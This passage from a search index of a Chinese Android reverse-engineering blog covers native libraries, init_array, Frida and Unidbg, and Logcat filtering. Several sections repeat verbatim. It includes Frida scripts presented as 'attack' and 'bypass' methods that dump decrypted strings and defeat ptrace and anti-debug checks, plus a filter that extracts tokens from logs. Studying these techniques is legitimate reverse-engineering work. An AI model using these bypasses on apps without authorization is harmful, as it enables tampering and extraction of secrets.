\"Java_com_example_app_NativeHelper_doEncrypt\"); Interceptor.attach(encrypt_func, { onEnter: function(args) { // args[0] = JNIEnv* // args[1] = jclass/jobject // args[2] = 第一个参数 (jstring) var jstring_ptr = args[2]; var str_content = Java.vm.getEnv().getStringUtfChars(jstring_ptr, null); console.log(\"Input: \" + str_content.readCString()); }, onLeave: function(retval) { var result = Java.vm.getEnv().getStringUtfChars(retval, null); console.log(\"Output: \" + result.readCString()); } }); Java 层 Hook： Java.perform(function() { var NativeHelper = Java.use(\"com.example.app.NativeHelper\"); NativeHelper.doEncrypt.implementation = function(input) { console.log(\"Java -\u003e Native: \" + input); var result = this.doEncrypt(input); console.log(\"Native -\u003e Java: \" + result); return result; }; }); ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:4:1","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#frida-hook-原生函数"},{"categories":null,"collections":null,"content":"Unidbg 模拟执行 Unidbg 是一个基于 Unicorn 的 Android 原生库模拟执行框架，可以在 PC 上模拟执行 .so 文件。 // Unidbg 基本用法 public class EmulatorDemo { public static void main(String[] args) { AndroidEmulator emulator = AndroidEmulatorBuilder.for64Bit().build(); Memory memory = emulator.getMemory(); memory.setLibraryResolver(new AndroidResolver(23)); // 加载目标 so Module module = emulator.loadLibrary(new File(\"libtarget.so\")); // 调用函数 Number result = module.callFunction(emulator, \"target_function\", arg1, arg2); System.out.println(\"Result: \" + result); } } ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:4:2","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#unidbg-模拟执行"},{"categories":null,"collections":null,"content":"常见保护手段 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:5:0","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#常见保护手段"},{"categories":null,"collections":null,"content":"字符串加密 保护机制: .so 文件中的敏感字符串（如密钥、URL）被加密存放，在运行时动态解密使用。静态分析时无法直接看到。 Native 实现示例： // 加密的字符串 static char encrypted[] = \"\\x56\\x2a\\x3b\\x4c\\x5d\"; // XOR 加密后的数据 const char* get_decrypted_string() { static char decrypted[256]; int key = 0x42; for (int i = 0; encrypted[i]; i++) { decrypted[i] = encrypted[i] ^ key; } return decrypted; } 攻击方法： // Frida Hook 解密函数 var decrypt_func = Module.findExportByName(\"libnative.so\", \"decrypt_string\"); Interceptor.attach(decrypt_func, { onLeave: function(retval) { console.log(\"Decrypted string:\", Memory.readCString(retval)); } }); ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:5:1","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#字符串加密"},{"categories":null,"collections":null,"content":"代码混淆 常见混淆技术： 控制流平坦化 (Control Flow Flattening) 虚假控制流 (Bogus Control Flow) 指令替换 (Instruction Substitution) 符号剥离 (Symbol Stripping) 攻击方法： // 指令级 Hook 示例 var baseAddr = Module.findBaseAddress(\"libnative.so\"); Interceptor.attach(baseAddr.add(0x1000), { onEnter: function(args) { console.log(\"Register state:\", this.context); } }); ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:5:2","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#代码混淆"},{"categories":null,"collections":null,"content":"反调试技术 常见检测方法： // ptrace 反调试 JNIEXPORT void JNICALL Java_com_example_app_Security_checkDebugger(JNIEnv *env, jclass clazz) { if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) { // 检测到调试器，执行反制措施 exit(1); } } // 模拟器检测 JNIEXPORT jboolean JNICALL Java_com_example_app_Security_isEmulator(JNIEnv *env, jclass clazz) { char prop_value[256]; __system_property_get(\"ro.kernel.qemu\", prop_value); return strcmp(prop_value, \"1\") == 0; } 绕过方法： // 绕过反调试示例 var anti_debug = Module.findExportByName(\"libnative.so\", \"check_debug\"); Interceptor.attach(anti_debug, { onLeave: function(retval) { retval.replace(0); // 返回 0 表示未检测到调试 } }); // Hook ptrace 系统调用 var ptrace = Module.findExportByName(\"libc.so\", \"ptrace\"); Interceptor.attach(ptrace, { onEnter: function(args) { args[0] = ptr(0); // 修改 ptrace 参数 } }); ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:5:3","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#反调试技术"},{"categories":null,"collections":null,"content":"init_array 详解 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:6:0","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#init_array-详解"},{"categories":null,"collections":null,"content":"调用时机 .init_array 中的函数在 ELF 库加载过程中的早期阶段 被调用，这个时机非常关键，发生在 JNI_OnLoad 之前。 完整的调用流程 System.loadLibrary(\"native\") ↓ nativeLoad() [art/runtime/native/java_lang_Runtime.cc] ↓ android_dlopen_ext() [bionic/libdl/libdl.cpp] ↓ do_dlopen() [bionic/linker/linker.cpp] ↓ find_library() → load_library() → link_image() ↓ call_constructors() → init_array 函数执行 ↓ JNI_OnLoad() 执行 Linker 源码分析 // bionic/linker/linker.cpp void soinfo::call_constructors() { // 1. 首先调用 DT_INIT 初始化函数 if (init_func_ != nullptr) { init_func_(); } // 2. 然后遍历 .init_array section 函数指针 if (init_array_ != nullptr) { for (size_t i = 0; i \u003c init_array_count_; ++i) { // 调用每个构造函数，包括 init_string_obfuscation ((void (*)())init_array_[i])(); } } } C/C++ 声明方式 // 字符串混淆初始化函数声明 __attribute__((constructor)) void init_string_obfuscation() { // 字符串解密和反调试逻辑 decrypt_critical_strings(); setup_anti_debug_measures(); } // 可以指定优先级（数字越小，优先级越高） __attribute__((constructor(101))) void init_anti_debug_level1() { // 第一级反调试检测 basic_environment_check(); } __attribute__((constructor(102))) void init_string_decryption() { // 字符串解密，依赖第一级检测通过 if (environment_safe) { decrypt_strings(); } } 实际应用示例 // 实际字符串混淆初始化函数示例 __attribute__((constructor(100))) void init_string_obfuscation() { // 1. 环境安全检查 if (detect_debug_environment()) { // 检测到调试环境，执行反制措施 execute_anti_debug_response(); return; } // 2. 解密关键字符串 decrypt_api_strings(); decrypt_config_strings(); decrypt_url_strings(); // 3. 标记初始化完成 string_obfuscation_initialized = true; } // 字符串解密函数 void decrypt_api_strings() { for (int i = 0; i \u003c API_STRING_COUNT; i++) { decrypt_string_xor(encrypted_api_names[i], decrypted_api_names[i], API_XOR_KEY); } } // XOR 解密实现 void decrypt_string_xor(const char* encrypted, char* decrypted, uint8_t key) { int len = strlen(encrypted); for (int i = 0; i \u003c len; i++) { decrypted[i] = encrypted[i] ^ key; } decrypted[len] = '\\0'; } ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:6:1","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#调用时机"},{"categories":null,"collections":null,"content":"调用时机 .init_array 中的函数在 ELF 库加载过程中的早期阶段 被调用，这个时机非常关键，发生在 JNI_OnLoad 之前。 完整的调用流程 System.loadLibrary(\"native\") ↓ nativeLoad() [art/runtime/native/java_lang_Runtime.cc] ↓ android_dlopen_ext() [bionic/libdl/libdl.cpp] ↓ do_dlopen() [bionic/linker/linker.cpp] ↓ find_library() → load_library() → link_image() ↓ call_constructors() → init_array 函数执行 ↓ JNI_OnLoad() 执行 Linker 源码分析 // bionic/linker/linker.cpp void soinfo::call_constructors() { // 1. 首先调用 DT_INIT 初始化函数 if (init_func_ != nullptr) { init_func_(); } // 2. 然后遍历 .init_array section 函数指针 if (init_array_ != nullptr) { for (size_t i = 0; i \u003c init_array_count_; ++i) { // 调用每个构造函数，包括 init_string_obfuscation ((void (*)())init_array_[i])(); } } } C/C++ 声明方式 // 字符串混淆初始化函数声明 __attribute__((constructor)) void init_string_obfuscation() { // 字符串解密和反调试逻辑 decrypt_critical_strings(); setup_anti_debug_measures(); } // 可以指定优先级（数字越小，优先级越高） __attribute__((constructor(101))) void init_anti_debug_level1() { // 第一级反调试检测 basic_environment_check(); } __attribute__((constructor(102))) void init_string_decryption() { // 字符串解密，依赖第一级检测通过 if (environment_safe) { decrypt_strings(); } } 实际应用示例 // 实际字符串混淆初始化函数示例 __attribute__((constructor(100))) void init_string_obfuscation() { // 1. 环境安全检查 if (detect_debug_environment()) { // 检测到调试环境，执行反制措施 execute_anti_debug_response(); return; } // 2. 解密关键字符串 decrypt_api_strings(); decrypt_config_strings(); decrypt_url_strings(); // 3. 标记初始化完成 string_obfuscation_initialized = true; } // 字符串解密函数 void decrypt_api_strings() { for (int i = 0; i \u003c API_STRING_COUNT; i++) { decrypt_string_xor(encrypted_api_names[i], decrypted_api_names[i], API_XOR_KEY); } } // XOR 解密实现 void decrypt_string_xor(const char* encrypted, char* decrypted, uint8_t key) { int len = strlen(encrypted); for (int i = 0; i \u003c len; i++) { decrypted[i] = encrypted[i] ^ key; } decrypted[len] = '\\0'; } ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:6:1","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#完整的调用流程"},{"categories":null,"collections":null,"content":"调用时机 .init_array 中的函数在 ELF 库加载过程中的早期阶段 被调用，这个时机非常关键，发生在 JNI_OnLoad 之前。 完整的调用流程 System.loadLibrary(\"native\") ↓ nativeLoad() [art/runtime/native/java_lang_Runtime.cc] ↓ android_dlopen_ext() [bionic/libdl/libdl.cpp] ↓ do_dlopen() [bionic/linker/linker.cpp] ↓ find_library() → load_library() → link_image() ↓ call_constructors() → init_array 函数执行 ↓ JNI_OnLoad() 执行 Linker 源码分析 // bionic/linker/linker.cpp void soinfo::call_constructors() { // 1. 首先调用 DT_INIT 初始化函数 if (init_func_ != nullptr) { init_func_(); } // 2. 然后遍历 .init_array section 函数指针 if (init_array_ != nullptr) { for (size_t i = 0; i \u003c init_array_count_; ++i) { // 调用每个构造函数，包括 init_string_obfuscation ((void (*)())init_array_[i])(); } } } C/C++ 声明方式 // 字符串混淆初始化函数声明 __attribute__((constructor)) void init_string_obfuscation() { // 字符串解密和反调试逻辑 decrypt_critical_strings(); setup_anti_debug_measures(); } // 可以指定优先级（数字越小，优先级越高） __attribute__((constructor(101))) void init_anti_debug_level1() { // 第一级反调试检测 basic_environment_check(); } __attribute__((constructor(102))) void init_string_decryption() { // 字符串解密，依赖第一级检测通过 if (environment_safe) { decrypt_strings(); } } 实际应用示例 // 实际字符串混淆初始化函数示例 __attribute__((constructor(100))) void init_string_obfuscation() { // 1. 环境安全检查 if (detect_debug_environment()) { // 检测到调试环境，执行反制措施 execute_anti_debug_response(); return; } // 2. 解密关键字符串 decrypt_api_strings(); decrypt_config_strings(); decrypt_url_strings(); // 3. 标记初始化完成 string_obfuscation_initialized = true; } // 字符串解密函数 void decrypt_api_strings() { for (int i = 0; i \u003c API_STRING_COUNT; i++) { decrypt_string_xor(encrypted_api_names[i], decrypted_api_names[i], API_XOR_KEY); } } // XOR 解密实现 void decrypt_string_xor(const char* encrypted, char* decrypted, uint8_t key) { int len = strlen(encrypted); for (int i = 0; i \u003c len; i++) { decrypted[i] = encrypted[i] ^ key; } decrypted[len] = '\\0'; } ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:6:1","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#linker-源码分析"},{"categories":null,"collections":null,"content":"调用时机 .init_array 中的函数在 ELF 库加载过程中的早期阶段 被调用，这个时机非常关键，发生在 JNI_OnLoad 之前。 完整的调用流程 System.loadLibrary(\"native\") ↓ nativeLoad() [art/runtime/native/java_lang_Runtime.cc] ↓ android_dlopen_ext() [bionic/libdl/libdl.cpp] ↓ do_dlopen() [bionic/linker/linker.cpp] ↓ find_library() → load_library() → link_image() ↓ call_constructors() → init_array 函数执行 ↓ JNI_OnLoad() 执行 Linker 源码分析 // bionic/linker/linker.cpp void soinfo::call_constructors() { // 1. 首先调用 DT_INIT 初始化函数 if (init_func_ != nullptr) { init_func_(); } // 2. 然后遍历 .init_array section 函数指针 if (init_array_ != nullptr) { for (size_t i = 0; i \u003c init_array_count_; ++i) { // 调用每个构造函数，包括 init_string_obfuscation ((void (*)())init_array_[i])(); } } } C/C++ 声明方式 // 字符串混淆初始化函数声明 __attribute__((constructor)) void init_string_obfuscation() { // 字符串解密和反调试逻辑 decrypt_critical_strings(); setup_anti_debug_measures(); } // 可以指定优先级（数字越小，优先级越高） __attribute__((constructor(101))) void init_anti_debug_level1() { // 第一级反调试检测 basic_environment_check(); } __attribute__((constructor(102))) void init_string_decryption() { // 字符串解密，依赖第一级检测通过 if (environment_safe) { decrypt_strings(); } } 实际应用示例 // 实际字符串混淆初始化函数示例 __attribute__((constructor(100))) void init_string_obfuscation() { // 1. 环境安全检查 if (detect_debug_environment()) { // 检测到调试环境，执行反制措施 execute_anti_debug_response(); return; } // 2. 解密关键字符串 decrypt_api_strings(); decrypt_config_strings(); decrypt_url_strings(); // 3. 标记初始化完成 string_obfuscation_initialized = true; } // 字符串解密函数 void decrypt_api_strings() { for (int i = 0; i \u003c API_STRING_COUNT; i++) { decrypt_string_xor(encrypted_api_names[i], decrypted_api_names[i], API_XOR_KEY); } } // XOR 解密实现 void decrypt_string_xor(const char* encrypted, char* decrypted, uint8_t key) { int len = strlen(encrypted); for (int i = 0; i \u003c len; i++) { decrypted[i] = encrypted[i] ^ key; } decrypted[len] = '\\0'; } ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:6:1","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#cc-声明方式"},{"categories":null,"collections":null,"content":"调用时机 .init_array 中的函数在 ELF 库加载过程中的早期阶段 被调用，这个时机非常关键，发生在 JNI_OnLoad 之前。 完整的调用流程 System.loadLibrary(\"native\") ↓ nativeLoad() [art/runtime/native/java_lang_Runtime.cc] ↓ android_dlopen_ext() [bionic/libdl/libdl.cpp] ↓ do_dlopen() [bionic/linker/linker.cpp] ↓ find_library() → load_library() → link_image() ↓ call_constructors() → init_array 函数执行 ↓ JNI_OnLoad() 执行 Linker 源码分析 // bionic/linker/linker.cpp void soinfo::call_constructors() { // 1. 首先调用 DT_INIT 初始化函数 if (init_func_ != nullptr) { init_func_(); } // 2. 然后遍历 .init_array section 函数指针 if (init_array_ != nullptr) { for (size_t i = 0; i \u003c init_array_count_; ++i) { // 调用每个构造函数，包括 init_string_obfuscation ((void (*)())init_array_[i])(); } } } C/C++ 声明方式 // 字符串混淆初始化函数声明 __attribute__((constructor)) void init_string_obfuscation() { // 字符串解密和反调试逻辑 decrypt_critical_strings(); setup_anti_debug_measures(); } // 可以指定优先级（数字越小，优先级越高） __attribute__((constructor(101))) void init_anti_debug_level1() { // 第一级反调试检测 basic_environment_check(); } __attribute__((constructor(102))) void init_string_decryption() { // 字符串解密，依赖第一级检测通过 if (environment_safe) { decrypt_strings(); } } 实际应用示例 // 实际字符串混淆初始化函数示例 __attribute__((constructor(100))) void init_string_obfuscation() { // 1. 环境安全检查 if (detect_debug_environment()) { // 检测到调试环境，执行反制措施 execute_anti_debug_response(); return; } // 2. 解密关键字符串 decrypt_api_strings(); decrypt_config_strings(); decrypt_url_strings(); // 3. 标记初始化完成 string_obfuscation_initialized = true; } // 字符串解密函数 void decrypt_api_strings() { for (int i = 0; i \u003c API_STRING_COUNT; i++) { decrypt_string_xor(encrypted_api_names[i], decrypted_api_names[i], API_XOR_KEY); } } // XOR 解密实现 void decrypt_string_xor(const char* encrypted, char* decrypted, uint8_t key) { int len = strlen(encrypted); for (int i = 0; i \u003c len; i++) { decrypted[i] = encrypted[i] ^ key; } decrypted[len] = '\\0'; } ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:6:1","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#实际应用示例"},{"categories":null,"collections":null,"content":"逆向分析对策 静态分析方法 # Python 脚本分析 .init_array section from elftools.elf.elffile import ELFFile def analyze_init_array(so_path): with open(so_path, 'rb') as f: elf = ELFFile(f) # 查找 .init_array section init_array_section = elf.get_section_by_name('.init_array') if init_array_section: data = init_array_section.data() print(f\"[+] Found .init_array section, size: {len(data)} bytes\") # 解析函数指针（8 字节对齐，64 位系统） for i in range(0, len(data), 8): if i + 8 \u003c= len(data): func_addr = int.from_bytes(data[i:i+8], 'little') print(f\"[+] Init function {i//8}: 0x{func_addr:x}\") if __name__ == \"__main__\": analyze_init_array(\"libtarget.so\") 动态分析方法 // Frida 脚本 Hook init_array 执行 function hookInitArray() { // Hook 构造函数调用函数 var call_constructors = Module.findExportByName( \"linker64\", \"_ZN6soinfo17call_constructorsEv\" ); if (call_constructors) { Interceptor.attach(call_constructors, { onEnter: function(args) { var soinfo = args[0]; console.log(\"[+] Calling constructors for SO\"); this.start_time = Date.now(); }, onLeave: function(retval) { var duration = Date.now() - this.start_time; console.log(\"[+] Constructors completed in \" + duration + \"ms\"); } }); } // 直接 hook 目标 SO 的 init_array 函数 hook_target_init_functions(); } function hook_target_init_functions() { var target_module = Process.findModuleByName(\"libtarget.so\"); if (target_module) { // 根据静态分析结果 hook 特定地址的函数 var init_func_addr = target_module.base.add(0x2000); // 示例地址 Interceptor.attach(init_func_addr, { onEnter: function(args) { console.log(\"[!] init_string_obfuscation called\"); console.log(\"[+] Call stack:\"); console.log(Thread.backtrace(this.context, Backtracer.ACCURATE) .map(DebugSymbol.fromAddress).join(\"\\n\")); }, onLeave: function(retval) { console.log(\"[!] init_string_obfuscation completed\"); } }); } } // 执行 hook hookInitArray(); 分析要点总结 特性 说明 执行时机早 在 JNI_OnLoad 之前执行，难以常规方式 Hook 优先级控制 可以通过参数控制多个初始化函数的执行顺序 静态分析困难 加密字符串在静态分析时不可见 调试时机窗口短 执行时间短，难以及时介入 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:6:2","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#逆向分析对策"},{"categories":null,"collections":null,"content":"逆向分析对策 静态分析方法 # Python 脚本分析 .init_array section from elftools.elf.elffile import ELFFile def analyze_init_array(so_path): with open(so_path, 'rb') as f: elf = ELFFile(f) # 查找 .init_array section init_array_section = elf.get_section_by_name('.init_array') if init_array_section: data = init_array_section.data() print(f\"[+] Found .init_array section, size: {len(data)} bytes\") # 解析函数指针（8 字节对齐，64 位系统） for i in range(0, len(data), 8): if i + 8 \u003c= len(data): func_addr = int.from_bytes(data[i:i+8], 'little') print(f\"[+] Init function {i//8}: 0x{func_addr:x}\") if __name__ == \"__main__\": analyze_init_array(\"libtarget.so\") 动态分析方法 // Frida 脚本 Hook init_array 执行 function hookInitArray() { // Hook 构造函数调用函数 var call_constructors = Module.findExportByName( \"linker64\", \"_ZN6soinfo17call_constructorsEv\" ); if (call_constructors) { Interceptor.attach(call_constructors, { onEnter: function(args) { var soinfo = args[0]; console.log(\"[+] Calling constructors for SO\"); this.start_time = Date.now(); }, onLeave: function(retval) { var duration = Date.now() - this.start_time; console.log(\"[+] Constructors completed in \" + duration + \"ms\"); } }); } // 直接 hook 目标 SO 的 init_array 函数 hook_target_init_functions(); } function hook_target_init_functions() { var target_module = Process.findModuleByName(\"libtarget.so\"); if (target_module) { // 根据静态分析结果 hook 特定地址的函数 var init_func_addr = target_module.base.add(0x2000); // 示例地址 Interceptor.attach(init_func_addr, { onEnter: function(args) { console.log(\"[!] init_string_obfuscation called\"); console.log(\"[+] Call stack:\"); console.log(Thread.backtrace(this.context, Backtracer.ACCURATE) .map(DebugSymbol.fromAddress).join(\"\\n\")); }, onLeave: function(retval) { console.log(\"[!] init_string_obfuscation completed\"); } }); } } // 执行 hook hookInitArray(); 分析要点总结 特性 说明 执行时机早 在 JNI_OnLoad 之前执行，难以常规方式 Hook 优先级控制 可以通过参数控制多个初始化函数的执行顺序 静态分析困难 加密字符串在静态分析时不可见 调试时机窗口短 执行时间短，难以及时介入 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:6:2","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#静态分析方法"},{"categories":null,"collections":null,"content":"逆向分析对策 静态分析方法 # Python 脚本分析 .init_array section from elftools.elf.elffile import ELFFile def analyze_init_array(so_path): with open(so_path, 'rb') as f: elf = ELFFile(f) # 查找 .init_array section init_array_section = elf.get_section_by_name('.init_array') if init_array_section: data = init_array_section.data() print(f\"[+] Found .init_array section, size: {len(data)} bytes\") # 解析函数指针（8 字节对齐，64 位系统） for i in range(0, len(data), 8): if i + 8 \u003c= len(data): func_addr = int.from_bytes(data[i:i+8], 'little') print(f\"[+] Init function {i//8}: 0x{func_addr:x}\") if __name__ == \"__main__\": analyze_init_array(\"libtarget.so\") 动态分析方法 // Frida 脚本 Hook init_array 执行 function hookInitArray() { // Hook 构造函数调用函数 var call_constructors = Module.findExportByName( \"linker64\", \"_ZN6soinfo17call_constructorsEv\" ); if (call_constructors) { Interceptor.attach(call_constructors, { onEnter: function(args) { var soinfo = args[0]; console.log(\"[+] Calling constructors for SO\"); this.start_time = Date.now(); }, onLeave: function(retval) { var duration = Date.now() - this.start_time; console.log(\"[+] Constructors completed in \" + duration + \"ms\"); } }); } // 直接 hook 目标 SO 的 init_array 函数 hook_target_init_functions(); } function hook_target_init_functions() { var target_module = Process.findModuleByName(\"libtarget.so\"); if (target_module) { // 根据静态分析结果 hook 特定地址的函数 var init_func_addr = target_module.base.add(0x2000); // 示例地址 Interceptor.attach(init_func_addr, { onEnter: function(args) { console.log(\"[!] init_string_obfuscation called\"); console.log(\"[+] Call stack:\"); console.log(Thread.backtrace(this.context, Backtracer.ACCURATE) .map(DebugSymbol.fromAddress).join(\"\\n\")); }, onLeave: function(retval) { console.log(\"[!] init_string_obfuscation completed\"); } }); } } // 执行 hook hookInitArray(); 分析要点总结 特性 说明 执行时机早 在 JNI_OnLoad 之前执行，难以常规方式 Hook 优先级控制 可以通过参数控制多个初始化函数的执行顺序 静态分析困难 加密字符串在静态分析时不可见 调试时机窗口短 执行时间短，难以及时介入 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:6:2","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#动态分析方法"},{"categories":null,"collections":null,"content":"逆向分析对策 静态分析方法 # Python 脚本分析 .init_array section from elftools.elf.elffile import ELFFile def analyze_init_array(so_path): with open(so_path, 'rb') as f: elf = ELFFile(f) # 查找 .init_array section init_array_section = elf.get_section_by_name('.init_array') if init_array_section: data = init_array_section.data() print(f\"[+] Found .init_array section, size: {len(data)} bytes\") # 解析函数指针（8 字节对齐，64 位系统） for i in range(0, len(data), 8): if i + 8 \u003c= len(data): func_addr = int.from_bytes(data[i:i+8], 'little') print(f\"[+] Init function {i//8}: 0x{func_addr:x}\") if __name__ == \"__main__\": analyze_init_array(\"libtarget.so\") 动态分析方法 // Frida 脚本 Hook init_array 执行 function hookInitArray() { // Hook 构造函数调用函数 var call_constructors = Module.findExportByName( \"linker64\", \"_ZN6soinfo17call_constructorsEv\" ); if (call_constructors) { Interceptor.attach(call_constructors, { onEnter: function(args) { var soinfo = args[0]; console.log(\"[+] Calling constructors for SO\"); this.start_time = Date.now(); }, onLeave: function(retval) { var duration = Date.now() - this.start_time; console.log(\"[+] Constructors completed in \" + duration + \"ms\"); } }); } // 直接 hook 目标 SO 的 init_array 函数 hook_target_init_functions(); } function hook_target_init_functions() { var target_module = Process.findModuleByName(\"libtarget.so\"); if (target_module) { // 根据静态分析结果 hook 特定地址的函数 var init_func_addr = target_module.base.add(0x2000); // 示例地址 Interceptor.attach(init_func_addr, { onEnter: function(args) { console.log(\"[!] init_string_obfuscation called\"); console.log(\"[+] Call stack:\"); console.log(Thread.backtrace(this.context, Backtracer.ACCURATE) .map(DebugSymbol.fromAddress).join(\"\\n\")); }, onLeave: function(retval) { console.log(\"[!] init_string_obfuscation completed\"); } }); } } // 执行 hook hookInitArray(); 分析要点总结 特性 说明 执行时机早 在 JNI_OnLoad 之前执行，难以常规方式 Hook 优先级控制 可以通过参数控制多个初始化函数的执行顺序 静态分析困难 加密字符串在静态分析时不可见 调试时机窗口短 执行时间短，难以及时介入 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:6:2","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#分析要点总结"},{"categories":null,"collections":null,"content":"总结 分析 Android .so 文件需要掌握以下核心技能： ELF 格式理解: 熟悉 ELF 文件结构，特别是关键 section JNI 机制: 理解 Java 和 Native 层的交互方式 静态分析: 使用 IDA Pro / Ghidra 进行反编译分析 动态分析: 使用 Frida 进行运行时 Hook 和调试 保护绕过: 了解常见保护手段并掌握绕过方法 通过综合运用这些技术，可以有效地分析和理解 Android 应用的原生代码逻辑。 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:7:0","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#总结"},{"categories":null,"collections":null,"content":"Android Studio 调试工具集 Android Studio 不仅仅是一个代码编辑器，它还集成了一套强大、可视化的调试和分析工具，能够极大地提升开发和逆向分析的效率。熟悉这些工具是每个 Android 工程师的必备技能。 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:0:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#android-studio-调试工具集"},{"categories":null,"collections":null,"content":"1. 日志猫 (Logcat) ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:1:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#1-日志猫-logcat"},{"categories":null,"collections":null,"content":"1.1 基本概念 Logcat 是 Android 系统的日志收集工具，Android Studio 将其封装在一个便捷的窗口中，可以实时查看来自系统和所有应用的日志信息。 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:1:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#11-基本概念"},{"categories":null,"collections":null,"content":"1.2 核心功能 功能 描述 快捷键 实时日志流 显示来自设备或模拟器的连续日志 - 日志级别过滤 Verbose/Debug/Info/Warn/Error/Assert 下拉菜单 进程过滤 只显示当前调试应用的日志 下拉菜单 关键词搜索 支持正则表达式 Ctrl+F 堆栈跟踪点击 点击类名跳转到源码 单击链接 日志导出 保存日志到文件 右键菜单 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:1:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#12-核心功能"},{"categories":null,"collections":null,"content":"1.3 高级过滤技巧 # 过滤语法示例 tag:MyTag # 按 Tag 过滤 level:error # 只显示 Error 级别 package:com.example.app # 按包名过滤 message:exception # 按消息内容过滤 # 组合过滤 tag:OkHttp \u0026 level:debug # AND 组合 tag:Retrofit | tag:OkHttp # OR 组合 -tag:System # 排除特定 Tag # 正则表达式 tag~:.*Network.* # Tag 匹配正则 message~:token=[a-zA-Z0-9]+ # 提取 token 信息 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:1:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#13-高级过滤技巧"},{"categories":null,"collections":null,"content":"1.4 自定义日志格式 # 在终端使用 logcat 自定义格式 